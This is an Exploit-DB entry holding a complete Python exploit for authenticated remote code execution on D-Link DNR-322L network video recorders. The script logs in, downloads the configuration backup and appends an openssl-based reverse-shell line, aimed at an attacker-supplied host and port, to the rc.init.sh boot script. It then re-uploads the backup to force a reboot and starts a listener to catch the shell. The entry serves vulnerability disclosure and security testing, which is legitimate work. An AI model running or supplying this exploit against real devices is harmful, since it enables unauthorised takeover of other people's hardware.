D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution

EDB-ID:

51046

CVE:

N/A


Author:

luka

Type:

remote


Platform:

Hardware

Date:

2023-03-25


# Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution
# Date: 13.09.2022
# Exploit Author: luka <luka@lukasec.ch>
# Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html
# Vendor Homepage: https://dlink.com
# Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305
# Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE
# Version: <= 2.60B15
# Tested on: Debian, Windows 10

"""
# Vulnerability
Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots. 

# Usage
exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT

options:
  -h, --help            show this help message and exit
  -U USERNAME, --username USERNAME
                        Username, ex: admin
  -P PASSWORD, --password PASSWORD
                        Password for the specified user
  -t TARGET, --target TARGET
                        IP of the target, ex: 192.168.99.99
  -l LHOST, --lhost LHOST
                        IP for the reverse shell to connect back to, ex: 123.123.123.123
  -p LPORT, --lport LPORT
                        Port for the reverse shell to connect back to, ex: 8443
"""

import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string
from ipaddress import ip_address

args = argparse.ArgumentParser()

args.add_argument(
    "-U",
    "--username",
    type=str,
    required=True,
    dest="username",
    help="Username, ex: admin",
)

args.add_argument(
    "-P",
    "--password",
    type=str,
    required=False,
    dest="password",
    help="Password for the specified user",
)

args.add_argument(
    "-t",
    "--target",
    type=str,
    required=True,
    dest="target",
    help="IP of the target, ex: 192.168.99.99",
)

args.add_argument(
    "-l",
    "--lhost",
    type=str,
    required=True,
    dest="lhost",
    help="IP for the reverse shell to connect back to, ex: 123.123.123.123",
)

args.add_argument(
    "-p",
    "--lport",
    type=int,
    required=True,
    dest="lport",
    help="Port for the reverse shell to connect back to, ex: 8443",
)

args = args.parse_args()

# base64 + url encode string
# returns string
def b64_url_encode(data):
    enc = data.encode("utf-8")
    encB = base64.b64encode(enc)
    encUrl = urllib.parse.quote(str(encB, "utf-8"))
    return encUrl


# since user input is always unsafe, test IPs
try:
    ip_address(args.target)
except Exception:
    print("[!] Target IP is not a valid IP address")
    exit(1)
try:
    ip_address(args.lhost)
except Exception:
    print("[!] Reverse shell IP is not a valid IP address")
    exit(1)

# check if target is online
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    # hardcoded http, change if needed
    s.connect((args.target, 80))
    s.close()
except Exception:
    print("[!] Target is not online")
    exit(1)
print("[+] Target is online")

# login param
authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi"
authHeaders = {"content-type": "application/x-www-form-urlencoded"}
authCheckCmd = "cmd=ui_check_wto"

session = requests.Session()

# if password is empty supply dont supply anything
if not args.password:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd=&ssl_port=443&f_login_type=0&f_url="
    )
else:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd="
        + b64_url_encode(args.password)
        + "&ssl_port=443&f_login_type=0&f_url="
    )

try:
    # login
    reqLogin = session.post(authUrl, headers=authHeaders, data=authBody)
    # check if successful
    reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd)

    if "success" in reqCheck.text:
        print("[+] Login successful")
    else:
        print("[!] Error during login, check credentials")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error during login, check credentials")
    exit(1)

# download backup
print("[*] Downloading backup")
if os.path.exists("backup_clean"):
    os.remove("backup_clean")

# download param
downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
downloadHeaders = {"content-type": "application/x-www-form-urlencoded"}
downloadCmd = "cmd=cgi_backup_conf"

try:
    reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd)
except Exception as error:
    print(error)
    print("[!] Error while downloading backup")
    exit(1)

# saving to disk
try:
    f = open("backup_clean", "wb")
    f.write(reqBackup.content)
    f.close()

    if not os.path.exists("backup_clean"):
        print("[!] Error while saving backup")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error while saving backup")
    exit(1)
print("[+] Download successful")

# unpack backup (tar.gz file)
try:
    config = tarfile.open("backup_clean")
    config.extractall()
    config.close()
except Exception as error:
    print(error)
    print("[!] Error while unpacking backup")
    exit(1)

# inject stuff into startup script
try:
    bashscript = open("backup/rc.init.sh", "a")
    # revshell with openssl
    payload = (
        "\n(( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & )\n"
        % (args.lhost, args.lport)
    )
    bashscript.write(payload)
    # also start a telnet deamon (has same passwd as web)
    # bashscript.write("utelnetd -d")
    bashscript.close()
except Exception as error:
    print(error)
    print("[!] Error while creating malicious backup")
    exit(1)
print("[+] Created malicious backup")


# re pack file
try:
    configInj = tarfile.open("backup_injected", "w:gz")
    configInj.add("backup")
    configInj.close()
    # remove unpacked folder
    shutil.rmtree("backup", ignore_errors=False, onerror=None)
except Exception as error:
    print(error)
    print("[!] Error while re-packing malicious backup")
    exit(1)

# upload
print("[*] Uploading malicious backup")
uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
uploadHeaders = {
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere"
}

configInj = open("backup_injected", "rb")
tardata = configInj.read().decode("latin-1")

uploadBody = (
    '------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="cmd"\r\n\r\ncgi_restore_conf\r\n------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="file"; filename="backup"\r\nContent-Type: application/x-gzip\r\n\r\n'
    + tardata
    + "\r\n------WebKitFormBoundaryhellothere--\r\n"
)

reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody)

if "web/dsk_mgr/wait.html" in reqUpload.text:
    print("[+] Upload successful, target will reboot now")
else:
    print("[!] Error while uploading malicious backup")
    exit(1)


# creating listener
print("[*] Started listener, waiting for the shell to connect back")
print("[*] When you are done kill the shell with Ctrl+C")
# random name
randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10))

# generate the cert and the key for the openssl listener
os.system(
    'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null'
    % (randInt, randInt)
)
# create an openssl listener
os.system(
    "openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s"
    % (randInt, randInt, args.lport)
)

exit(0)